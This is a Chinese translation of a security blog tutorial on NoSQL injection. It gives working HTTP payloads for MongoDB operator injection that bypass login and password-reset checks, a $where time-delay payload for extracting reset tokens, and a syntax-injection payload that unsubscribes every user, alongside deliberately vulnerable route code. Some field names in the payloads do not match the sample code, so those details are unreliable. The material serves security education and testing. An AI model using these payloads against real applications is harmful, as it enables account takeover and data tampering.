白帽故事 · 2025年11月10日 0

高级 NoSQL 注入漏洞利用指南

file

NoSQL 注入相对于经典 SQL 注入来说更容易利用,然而,开发者往往忽视这些漏洞,主要是因为安全意识不足。

此外,软件工程师中普遍存在的错误观念,即 NoSQL 数据库天生抵抗注入攻击,进一步增加了发现 NoSQLi 漏洞的可能性。

在本文,我们将深入探讨识别和利用高级 NoSQL 注入,同时我们还将分析几个示例,以更好地理解 NoSQLi 攻击。

什么是 NoSQL 数据库?

NoSQL 数据库是非关系型数据库系统,旨在处理各种数据模型,并为存储、检索和管理数据提供灵活的数据结构和模式。

与传统 SQL(结构化查询语言)数据库使用行和列组织数据不同,NoSQL 数据库使用替代的数据结构。

这种方法提供了多个好处,从提高性能(当数据存储和结构正确时)到易于扩展和灵活的存储选项,这些选项可以适应任何类型应用程序的需求。

一些 NoSQL 数据库的例子包括:

  • MongoDB,一个流行的开源 NoSQL 数据库,支持
  • Redis,一种常用于缓存数据的内存键值存储
  • Elasticsearch,一种常用的 NoSQL 数据库,适用于大规模和复杂的搜索操作
  • Apache CouchDB,一个流行的开源 NoSQL 数据库,支持本机 REST HTTP API
  • Cloudflare KV 或 Amazon DynamoDB,都是知名的免服务器键值存储选项

什么是 NoSQL 注入漏洞?

与经典的 SQL 注入类似,NoSQL 注入源于将未经清洗的用户输入直接连接到数据库查询,这允许攻击者跳出上下文,操纵查询以:

  • 通过注入操作符绕过身份验证表单
  • 对现有记录更改
  • 提取可能敏感的数据和其他文档
  • 删除现有数据库记录或创建新的数据条目
  • 执行拒绝服务攻击
  • 在严重情况下,甚至执行系统命令

接下来我们探讨一下 SQL 和 NoSQL 注入之间的主要区别,因为这有助于今后识如何别它们。

经典 SQL 注入和 NoSQL 注入之间的主要区别

传统的 SQL 注入涉及破坏现有的 SQL 查询并引入一个“真值”语句。考虑以下查询示例:

SELECT * FROM customers WHERE customer_email = '[email protected]' AND password = 'hunter2';

假设请求体参数 customer_email 容易受到以下 POST 请求中的 SQL 注入(后端数据库为 MySQL)的影响:

POST /customer_zone/sign_in HTTP/2.0
Host: example.com
Content-Type: application/x-www-form-urlencoded
User-Agent: ...

[email protected]&password=hunter2

我们能够发送Payload,绕过查询并无需密码登录任意账户:

[email protected]'+AND+TRUE;+--&password=anything

NoSQL 注入需要不同的利用方法,因为不支持 SQL(结构化查询语言),用于验证用户的等效数据库查询看起来像这样:

db.customers.findOne({ customer_email: '[email protected]', password: 'hunter2' })

NoSQL 数据库支持诸如 $gt 这样的运算符,帮助我们通过查找大于提供值的值来过滤字段。

回到我们的例子,如果我们的输入没有经过清理,我们可以发送以下 HTTP POST 请求,无需提供密码,就可以用任意用户账户登录:

POST /customer_zone/sign_in HTTP/2.0
Host: example.com
Content-Type: application/json
User-Agent: ...

{
    "customer_email": "[email protected]",
    "password": { "$gt": "" }
}

识别 NoSQL 注入漏洞

为了识别潜在的注入点,你需要打破当前语法或注入一个运算符,并观察任何响应变化,例如内容长度、状态码或响应头部的明显差异。

检查每个输入字段,并系统地注入不同类型的语法破坏字符,例如:

$
{
}
\
"
`
;
%00

也值得指出的是,许多 NoSQL 数据库它们都使用非标准化的语法语言。因此,建议首先绘制数据库的映射图,并熟悉其语法。在本文下一节的利用示例中,我们将主要关注 MongoDB。

利用简单的 NoSQL 注入

一种测试和利用 NoSQL 注入的方法是跳出语法并注入我们的逻辑来操纵查询,这可以帮我们将简单的注入漏洞升级为身份验证绕过。

让我们来看一个简单的例子!

通过操作符注入绕过身份验证

以下是一个应用程序路由,它帮助用户使用密码重置令牌重置密码:

// Application route handling password reset
app.post('/auth/reset-password', async (req, res) => {
  const { email, resetToken, newPassword } = req.body;

  try {
    const token = await db.collection('auth-tokens').findOne({
      email: email,
      resetPasswordToken: resetToken,
      resetPasswordExpires: { $gt: Date.now() }
    });

    if (!token) {
      return res.status(400).json({ message: 'Password reset token is invalid or has expired' });
    }

    // Update user's password
    await db.collection('users').updateOne({ email: email },
      { $set: {
          password: await bcrypt.hash(newPassword, 10)
      }    
    });

    res.json({ message: 'Password has been reset' });
  } catch (error) {
    console.error('Error during password reset:', error);
    res.status(500).json({ message: 'Server error' });
  }
});

注意在第 8 行,密码重置令牌被直接连接到 MongoDB 查询中,我们可以使用一个操作符来操纵查询,使其成立。这样就可以重置任何用户账户的密码,而无需密码重置令牌:

POST /auth/reset-password HTTP/2
Host: app.example.com
Content-Type: application/json; charset=utf-8
User-Agent: ...

{
    "email": "[email protected]",
    "token": {"$ne": null},
    "newPassword": "hunter2"
}

在我们的Payload中,我们使用了$ne 运算符,该运算符用于选择值不等于指定值的文档,在这种情况下为 null 。MongoDB 支持其他几个运算符:

  • $regex : 选择与指定正则表达式匹配的文档
  • $where : 匹配满足 JavaScript 表达式的文档
  • $exists : 匹配具有指定字段的文档
  • $eq : 匹配等于指定值的值
  • $ne :匹配不等于指定值的值
  • $gt :匹配大于指定值的值

PS:如果你的应用程序处理所有请求体数据为表单数据,则可以使用参数数组。

一些参数解析器包提供了对参数数组的支持。如:

POST /auth/reset-password HTTP/2
Host: app.example.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
User-Agent: ...

[email protected]&token[$ne]=null&newPassword=hunter2

NoSQL 高级注入

通过时间延迟提取数据

与经典的 SQL 注入类似,我们也可以通过调用条件时间延迟从字段中提取数据。

回到之前提到的易受 NoSQL 注入攻击的密码重置功能示例,使用$where 运算符,我们可以注入 JavaScript 代码,如果条件匹配,则执行时间延迟:

POST /auth/reset-password HTTP/2
Host: app.example.com
Content-Type: application/json; charset=utf-8
User-Agent: ...

{
  "email": "[email protected]",
  "token": {
      "$where": "if(this.token.startsWith('a')) {sleep(5000); return true;} else {return true;}"
  },
  "password": "hunter2"
}

如果管理员的重置令牌以 ‘a’ 开头,我们将注意到大约 5 秒的时间延迟。

为了使其工作,我们首先需要触发一个密码重置请求,然后可以制作一个工具,系统地尝试所有组合,直到提取出整个密码重置令牌。

让我们看看另一个例子,其中 JavaScript 代码可以帮助我们绕过身份验证。

使用 NoSQL 语法注入执行服务器端 JavaScript 代码

前面提到,使用 MongoDB 中的$where 运算符可以执行服务器端 JavaScript 代码。其它 NoSQL 数据库也提供了类似的功能,以帮助开发者创建更高级的查询过滤器。

如果我们的未经过滤的输入出现在 $where 子句中,我们就可以跳出语法,执行任意 JavaScript 代码来修改或窃取其他字段。以下是一个示例:

// Application route handling email unsubscribes
app.post('/newsletter/unsubscribe', async (req, res) => {
  const { email, unsubscribeToken } = req.body;

  try {
    const subscriber = await db.collection('subscribers').findOne({
      $where: 'this.email == ' + email + ' && this.unsubscribeToken == ' + unsubscribeToken
    });

    if (subscriber) {
      // Update the subscriber's preferences
      await db.collection('subscribers').updateOne(
        { email: email },
        { $set: { subscribed: false } }
      );

      res.json({ success: true, message: 'Successfully unsubscribed from all communication channels!' });
    } else {
      res.status(401).json({ success: false, message: 'Invalid email or token' });
    }
  } catch (error) {
    console.error('Unsubscribe error:', error);
    res.status(500).json({ success: false, message: 'Server error' });
  }
});

在这种情况下,我们可以通过反复发送以下Payload来取消所有电子邮件收件人的订阅:

POST /newsletter/unsubscribe HTTP/2
Host: app.example.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
User-Agent: ...

[email protected]'+||+TRUE;//&token=

Payload匹配所有电子邮件并消除了对令牌的需求:

this.email == '[email protected]' || TRUE; // && this.unsubscribeToken ==

二阶 NoSQL 注入

二阶 NoSQL 注入是另一种 NoSQL 注入类型,其中未经过清洗的输入被注入到应用程序中并存储(例如,在队列消息服务中),而不立即执行。

执行发生在稍后,当存储的数据被检索并以不安全的方式用于数据库查询时,这可能导致 NoSQL 注入。

尽管这些类型的 NoSQL 注入更难检测,但仍然值得测试它们。

结论

NoSQL 数据库天生免疫于注入攻击的观点是错误的,缺乏输入验证仍然可能对公司造成严重影响,正如本文中记录的那样。

原文:https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-nosql-injection-nosqli-vulnerabilities